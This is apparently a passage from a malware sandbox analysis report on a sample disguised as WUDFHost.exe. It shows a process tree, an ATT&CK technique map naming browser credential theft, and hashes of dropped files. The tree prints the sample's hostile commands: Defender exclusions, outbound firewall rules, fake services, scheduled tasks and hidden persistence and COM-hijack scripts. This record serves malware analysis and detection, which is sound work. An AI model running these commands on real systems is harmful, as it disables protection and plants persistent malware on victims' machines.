                                                      C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                      2⤵
                                                        PID:4148
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "ver"
                                                          3⤵
                                                          • Executes a command shell one-liner
                                                          PID:5740
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Users\Admin\AppData\Local\Temp\wudf_task.xml /f
                                                          3⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:5820
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\wmi_persist.ps1
                                                          3⤵
                                                            PID:5752
                                                          • C:\Windows\system32\sc.exe
                                                            sc create WUDFHostService "binPath= \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:5000
                                                          • C:\Windows\system32\sc.exe
                                                            sc description WUDFHostService "Manages user-mode drivers on Windows"
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:4808
                                                          • C:\Windows\system32\sc.exe
                                                            sc start WUDFHostService
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:6052
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\com_hijack.ps1
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:1972
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Users\Admin\AppData\Local\Temp\wudf_task2.xml /f
                                                            3⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:5980
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\""
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:1868
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\""
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:4104
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:2016
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows Defender\Scans\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:3348
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:4248
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                            3⤵
                                                              PID:3712
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                              3⤵
                                                                PID:2952
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                3⤵
                                                                  PID:5964
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /query /tn MicrosoftWindowsUpdateService
                                                                  3⤵
                                                                    PID:3424
                                                              • C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                                "C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe"
                                                                1⤵
                                                                  PID:5236
                                                                  • C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                                    2⤵
                                                                      PID:2824
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "ver"
                                                                        3⤵
                                                                        • Executes a command shell one-liner
                                                                        PID:5476
                                                                  • C:\Windows\SysWOW64\WUDFHost.exe
                                                                    C:\Windows\SysWOW64\WUDFHost.exe
                                                                    1⤵
                                                                      PID:5432
                                                                      • C:\Windows\SysWOW64\WUDFHost.exe
                                                                        C:\Windows\SysWOW64\WUDFHost.exe
                                                                        2⤵
                                                                          PID:5700
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "ver"
                                                                            3⤵
                                                                            • Executes a command shell one-liner
                                                                            PID:640
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Windows\TEMP\wudf_task.xml /f
                                                                            3⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:5712
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\TEMP\wmi_persist.ps1
                                                                            3⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:2604
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc create WUDFHostService "binPath= \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:5320
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc description WUDFHostService "Manages user-mode drivers on Windows"
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:5544
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc start WUDFHostService
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:4716
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ExecutionPolicy Bypass -File C:\Windows\TEMP\com_hijack.ps1
                                                                            3⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:1248
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Windows\TEMP\wudf_task2.xml /f
                                                                            3⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:1020
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\""
                                                                            3⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:5824
                                                                            • C:\Windows\system32\wermgr.exe
                                                                              "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5824" "1840" "1760" "1844" "0" "0" "1848" "0" "0" "0" "0" "0"
                                                                              4⤵
                                                                                PID:5660
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\""
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:5616
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\""
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:5612
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\WUDFHost.exe\""
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:6040
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:2984
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows Defender\Scans\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:5228
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:3992
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:4920
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:5600
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:668
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /query /tn MicrosoftWindowsUpdateService
                                                                              3⤵
                                                                                PID:6028
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /query /tn WindowsDriverFoundationUpdate
                                                                                3⤵
                                                                                  PID:2016
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc query WUDFHostService
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:3768
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -Command "Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq \"WindowsUpdateFilter\"}"
                                                                                  3⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  PID:1216
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
                                                                              1⤵
                                                                                PID:4588

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v16

                                                                                    Reconnaissance

                                                                                    Resource Development

                                                                                    Initial Access

                                                                                    Execution

                                                                                    Command and Scripting Interpreter

                                                                                    2
                                                                                    T1059

                                                                                    PowerShell

                                                                                    1
                                                                                    T1059.001

                                                                                    Windows Command Shell

                                                                                    1
                                                                                    T1059.003

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    System Services

                                                                                    1
                                                                                    T1569

                                                                                    Service Execution

                                                                                    1
                                                                                    T1569.002

                                                                                    Persistence

                                                                                    Boot or Logon Autostart Execution

                                                                                    3
                                                                                    T1547

                                                                                    Registry Run Keys / Startup Folder

                                                                                    3
                                                                                    T1547.001

                                                                                    Create or Modify System Process

                                                                                    1
                                                                                    T1543

                                                                                    Windows Service

                                                                                    1
                                                                                    T1543.003

                                                                                    Event Triggered Execution

                                                                                    1
                                                                                    T1546

                                                                                    Component Object Model Hijacking

                                                                                    1
                                                                                    T1546.015

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    Privilege Escalation

                                                                                    Boot or Logon Autostart Execution

                                                                                    3
                                                                                    T1547

                                                                                    Registry Run Keys / Startup Folder

                                                                                    3
                                                                                    T1547.001

                                                                                    Create or Modify System Process

                                                                                    1
                                                                                    T1543

                                                                                    Windows Service

                                                                                    1
                                                                                    T1543.003

                                                                                    Event Triggered Execution

                                                                                    1
                                                                                    T1546

                                                                                    Component Object Model Hijacking

                                                                                    1
                                                                                    T1546.015

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    Defense Evasion

                                                                                    Modify Registry

                                                                                    2
                                                                                    T1112

                                                                                    Credential Access

                                                                                    Credentials from Password Stores

                                                                                    1
                                                                                    T1555

                                                                                    Credentials from Web Browsers

                                                                                    1
                                                                                    T1555.003

                                                                                    Unsecured Credentials

                                                                                    1
                                                                                    T1552

                                                                                    Credentials In Files

                                                                                    1
                                                                                    T1552.001

                                                                                    Discovery

                                                                                    Query Registry

                                                                                    1
                                                                                    T1012

                                                                                    System Location Discovery

                                                                                    1
                                                                                    T1614

                                                                                    System Language Discovery

                                                                                    1
                                                                                    T1614.001

                                                                                    System Network Configuration Discovery

                                                                                    1
                                                                                    T1016

                                                                                    Internet Connection Discovery

                                                                                    1
                                                                                    T1016.001

                                                                                    Lateral Movement

                                                                                    Collection

                                                                                    Data from Local System

                                                                                    1
                                                                                    T1005

                                                                                    Command and Control

                                                                                    Web Service

                                                                                    1
                                                                                    T1102

                                                                                    Exfiltration

                                                                                    Impact

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    StartupProfileData-NonInteractive
                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                    • Size 64B
                                                                                    • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    StartupProfileData-NonInteractive
                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                    • Size 1KB
                                                                                    • SHA256 0c137d33c7890a1c1046d0febaeb6987531adef55aedc42b6c3cb344e07712a3
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    StartupProfileData-NonInteractive
                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                    • Size 944B
                                                                                    • SHA256 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    __PSScriptPolicyTest_00lll33s.k2x.ps1
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00lll33s.k2x.ps1
                                                                                    • Size 60B
                                                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    kl99qr8r
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\kl99qr8r
                                                                                    • Size 4B
                                                                                    • SHA256 f02285fb90ed8c81531fe78cf4e2abb68a62be73ee7d317623e2c3e3aefdfff2
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    .env
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\.env
                                                                                    • Size 240B
                                                                                    • SHA256 3bb89e20bd3280494b42125bc24177ebec2aec9c35a0371a7b028fd4a88ff095
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    81d243bd2c585b0f4821__mypyc.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\81d243bd2c585b0f4821__mypyc.pyd
                                                                                    • Size 211KB
                                                                                    • SHA256 89b688b3848e196de02a444c72cfc25bb3efebaba84a28469ac1e7f5738e0564
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _Salsa20.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_Salsa20.pyd
                                                                                    • Size 13KB
                                                                                    • SHA256 9df33c5ee086899c69bd4f3d776b85a493b72e1316c3f8772ac1215d70068a28
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_cbc.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_cbc.pyd
                                                                                    • Size 11KB
                                                                                    • SHA256 a5c300a4bda97236f9f8ffa57f9db0e5c0a0f1d8a5699389aa03dbf1aebd77fc
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_cfb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_cfb.pyd
                                                                                    • Size 12KB
                                                                                    • SHA256 cc2b5cec4b408492921f872aa7d6f6452fab6b1a6e561305865c6e709b784aca
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ctr.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_ctr.pyd
                                                                                    • Size 14KB
                                                                                    • SHA256 aeb1f2943a921684bd1edf752a6355e38de46466f56b3003f5b295fc30053732
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_des.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_des.pyd
                                                                                    • Size 51KB
                                                                                    • SHA256 0f2b26d1cc382feceb879761ca3629ea2e3b84518d965fc196ae6df06bc0dbbb
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ecb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_ecb.pyd
                                                                                    • Size 10KB
                                                                                    • SHA256 98f59f221f102db198c0d7425e8c93cdfa91ce5683d4cadd3f541e1dae0f79a2
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_eksblowfish.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_eksblowfish.pyd
                                                                                    • Size 20KB
                                                                                    • SHA256 29e1b1394c14c56253ab880730a1e11732c45ef40d90ec4ee1c5d3e614cc9504
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ocb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_ocb.pyd
                                                                                    • Size 17KB
                                                                                    • SHA256 c8a77501cdc9304d919c16d41ba28c86c766de84ee463a0efd68c5cc3829af1d
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ofb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Cipher\_raw_ofb.pyd
                                                                                    • Size 11KB
                                                                                    • SHA256 1f08af90b5854c58207cfbaed6f68dbec87bd30f1ed7da065ad46073e3761073
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _BLAKE2s.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_BLAKE2s.pyd
                                                                                    • Size 13KB
                                                                                    • SHA256 d1ed1ca3c6802954cd8ca6f5e419c54a357b4a04bb802bab876b04b942a4b862
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _MD5.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_MD5.pyd
                                                                                    • Size 15KB
                                                                                    • SHA256 ee469ab6d4dbdac22eea7bc40f3e2872442c649e03778d8d6b94a112da1e31aa
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _SHA1.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_SHA1.pyd
                                                                                    • Size 17KB
                                                                                    • SHA256 8f80524247c830d9bb590d025e15ec34d7d337a16e5c4422e2da0448d06c88a6
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _SHA384.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_SHA384.pyd
                                                                                    • Size 25KB
                                                                                    • SHA256 38086fc4e0c53f5153571073995610ac91c454c6aa161588b651286a585526ec
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _SHA512.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_SHA512.pyd
                                                                                    • Size 25KB
                                                                                    • SHA256 adab3a8ef9daa73b1e9ca83d66a726c8ad256eed119ab2d7d3fcee10f8f013d1
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _ghash_clmul.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_ghash_clmul.pyd
                                                                                    • Size 12KB
                                                                                    • SHA256 63d9bbdac4e8e2c95b1a41eb7a2b42047b6a0c8d36447165e32167d3c7a57aee
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _ghash_portable.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_ghash_portable.pyd
                                                                                    • Size 12KB
                                                                                    • SHA256 ca4c4e24af0d7f879f9cb73df6e27f83441071dd466c366a4f4b467101e50e21
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _keccak.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Hash\_keccak.pyd
                                                                                    • Size 15KB
                                                                                    • SHA256 393c54d090197d55d87619e99528d2e774c9157632115a07fcf35ee50681e78f
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _scrypt.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Protocol\_scrypt.pyd
                                                                                    • Size 12KB
                                                                                    • SHA256 00c9b6915dfb9ed91e8d40c78f6b536c5ccdabd2760fcf9501d0522e97e2d600
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _cpuid_c.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Util\_cpuid_c.pyd
                                                                                    • Size 10KB
                                                                                    • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _strxor.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Crypto\Util\_strxor.pyd
                                                                                    • Size 10KB
                                                                                    • SHA256 c77f18f1f7a377bc388de0104abf4868d6f0c2ef7ef2b97b34d875cfc3040aac
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _Salsa20.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_Salsa20.pyd
                                                                                    • Size 13KB
                                                                                    • SHA256 59ee075ecb9877bc24f5c27fa2d590bae0f6aa30a6e02432e1eb25cb459abc0e
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_aes.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_aes.pyd
                                                                                    • Size 34KB
                                                                                    • SHA256 889f9b558a47a4333bfd3e3814eaec2328ac8648722d912c7873fdea62fcf886
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_aesni.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_aesni.pyd
                                                                                    • Size 15KB
                                                                                    • SHA256 6c9a2bed5c1bd9acd8bcea7f5f20f7fa63e4465b0914ae70250bd59a8028333c
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_cbc.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_cbc.pyd
                                                                                    • Size 11KB
                                                                                    • SHA256 6c6c5fac1b5933fb857fcc3e5a87765257b5484285de147e9bb5fc854223a707
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_cfb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_cfb.pyd
                                                                                    • Size 12KB
                                                                                    • SHA256 26e351c4fade35c146d84df0e22c2468e01186d3a8a1e51bb6c8d8ea87f09cd7
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ctr.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_ctr.pyd
                                                                                    • Size 14KB
                                                                                    • SHA256 229994e4cb838079a5711c8c0ffeb25fb4684a70ecda497ddb49c8a315594a83
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ecb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_ecb.pyd
                                                                                    • Size 10KB
                                                                                    • SHA256 da4eacde396e7388ec5da5133762409757dcdaae3022590a73d9ad950844c31f
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_eksblowfish.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_eksblowfish.pyd
                                                                                    • Size 20KB
                                                                                    • SHA256 40e1a78102a078058cb06b4ff41411f89203564915bc0bce04f4c2643deb9b24
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    _raw_ocb.pyd
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\onefile_3108_243340_aqM9_IbP56E\Cryptodome\Cipher\_raw_ocb.pyd
                                                                                    • Size 17KB
                                                                                    • SHA256 61f8a3ca451db3a07b3815c4d91a37100c416f160e3ccfa6113bef0c80d0c12b
